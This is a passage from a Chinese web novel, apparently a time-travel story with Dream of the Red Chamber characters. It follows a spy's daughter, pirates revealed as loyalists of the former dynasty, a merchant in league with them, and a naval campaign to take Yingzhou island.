邬桐看了纸条,犹豫片刻,问道:“你娘......是什么身份?你可知道,普通的娘亲,是不会说出,会有人拿她的命要挟家人这种话的。” 阿银点点头:“我知道,我娘......可能本身就是奸细。可我出生后,娘就收手了。爹也知道的,娘再没做过奸细,也没送出过什么消息,他们才狗急跳墙,抓了我娘。” “你娘可是倭人?”邬桐还是问了出来,倭寇派奸细过来不难猜,只是没想到隐藏这么久这么深。 “不是,我娘是汉人,应该和瀛洲的巨盗有关。”阿银顿了顿,像是下定了决心,艰难开口,“爹说我娘的行为举止,是受过正规教导的,且和本朝的规矩不太像,有些......有些像前朝的礼仪。” 43.瀛洲巨盗 邬桐眼前一亮,有些明白为何海盗也能派出奸细了。如果这只海盗在成为盗匪之前,是前朝余孽,就说得通了。 她赶紧示意蕙香,将柳琼请过来。趁着蕙香离开的空挡,邬桐继续询问:“你娘可说过其他有关奸细的事?” 阿银想了想,声音有些不确定:“我娘说,她从小生活在小岛上,衣食无忧,从小要学很多东西,还有好几个小伙伴一起,年纪差不多,男女都有。姥姥姥爷告诉她,那些是她的兄弟姐妹,可娘说她不相信,因为他们长得一点儿也不像。” 邬桐想起了扬州城的人贩子,有些恍然:“这些孩子是拐卖来的?” “不知道。”阿银摇摇头,“娘说她有记忆以来就在小岛上,十四岁才离开。在琼州没见过那些伙伴,琼州这里,应该没有其他跟娘一样的人。” 邬桐点点头,阿银娘应该是比较下游的奸细,知道的不多。一个地方怎么会只派一个奸细呢,上级、下级、平级其他监督的人都可能有。这些还是应该交给郑甲,他们是正规的暗卫,对这一套只有更熟。 柳琼很快赶了过来,事态严重,柳琼听闻后,当即去了和郑甲接头的地方。事涉前朝余孽,须得暗卫出马,试探试探瀛洲岛那帮巨盗的底细。 如果真和前朝余孽有关,就不是柳琼一个小小县令能做主的了。如今琼州来了郡王,怎么也得是郡王牵头啊。 果然,三日后,等确认琼州巨盗真是前朝余孽的叛臣后,事情就交给了安郡王。 有意思的是,吴摊主报告的事,和阿银报告的,还不是一件。 原来派吴摊主父亲回来的,是被东沙那群海盗抢了六桅宝船的海商。那海商被抢了宝船,自是要与海盗交涉一番的,也不知如何被海盗说服的,竟和海盗沆瀣一气,做起了海盗背后的金主。控制住海峡,抢了钱平分,平时没事时养着海盗们吃喝,还利用海盗,吞并了一家有竞争关系的海商,可谓是比海盗还毒辣。 因那海商是广府人,柳琼只得书面呈给广州知府,说明了事情原委。之后如何抓捕,就不是他能管的了。 其实,暗卫也调查了这件事,为何呢?因这海商是依附南安郡王的商家。自从和海岛勾结后,海商为了稳妥,也为了保命,加大了进贡给世子的份额,这才使得近两年,南安郡王世子出手阔绰。 当然,南安郡王的事是柳琼不知道的。只不过半年后的官府邸报上,南安郡王世子被夺了世子衔,南安郡王也被降爵,成了南安国公。 期间,柳琼和邬桐将计就计,让黛玉改了几个关键参数,专门画了一张第一代的纺织机图纸,暗派阿银给到巨盗接头的人,算是安抚住了瀛洲岛的巨盗,没再让他们派其他奸细过来。 经此一事,邬柏和阿银的婚事也提上了日程,问名、纳吉等礼仪走完,两人算是正式定亲。 第一代纺织机的图纸如约卖给了薛蝌和刘衡。等贾琏、王熙凤、薛蝌、刘衡等人离开时,邬柏也踏上了回京科举的路。阿银因要和瀛洲岛的巨盗们虚与委蛇,并没有跟着一起回京,而是被黛玉带去了纺织厂,杂七杂八地又送了几个消息到瀛洲,真假参半,足以迷惑人了。 船厂速度虽上来了,但一下子造十艘船,还是需要时间。瀛洲岛不同于东沙列岛,是个比琼州还大的岛屿。盘踞瀛洲的巨盗,光人数就上千,更不要说他们的船上还有火炮。为了让船只更安全,柳琼加紧研制火炮,第二代的炮弹射程,已经从三公里提升到了八公里,可以说有了质的飞跃。 等快冬日了,终于接到邬柏中举人的消息,同时十艘船也造了出来。不知暗卫们是怎么做的,这么长时间,愣是没让出海的渔民发现造船厂,也是神奇。 攻打瀛洲岛的海盗,需要正规的水军作战。自从柳琼被任命为琼州千户后,手下有了一千人的水师名额,每日里操练不停,等得就是这一刻。 上次打东沙列岛的盛 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慈不掌兵,她还是在后宅,帮黛玉改进改进纺织机,整理整理县学的新教材吧。因着造船厂需要更多精通算学的人,柳琼这两日正想着出一本专门的算学书,邬桐好歹也是高中学过数学的,帮着整理一二的能耐还是有的。 也就不到一个月吧,柳琼就带着满满的战获回来了。同时回来的,还有邬柏得中进士,被任命为瀛洲县令,不日就要上任的消息。不幸的是,阿银的母亲在那次马匹事故中就死了,之后的诸多威胁,都只是用阿银母亲的遗物骗她罢了。 小姑娘早有了准备,虽还是伤心,却并没有要死要活。她在最后关头选择听从了母亲的教导,母亲如果在天有灵,应该是高兴的吧。 战船回来两艘,其余十艘均驶向了东海。在那里,和倭寇必有一战。 郑甲带着暗卫先行进驻了瀛洲,只等邬柏来交接上任。如今,南海真正控制在了朝廷手里,柳琼休息了两日,开始派遣船队去交趾,购买稻谷,并寻找一年三熟的良种。 琼州、瀛洲,还有大片的南海小岛,等待着种植水稻,成为另一个大周粮仓。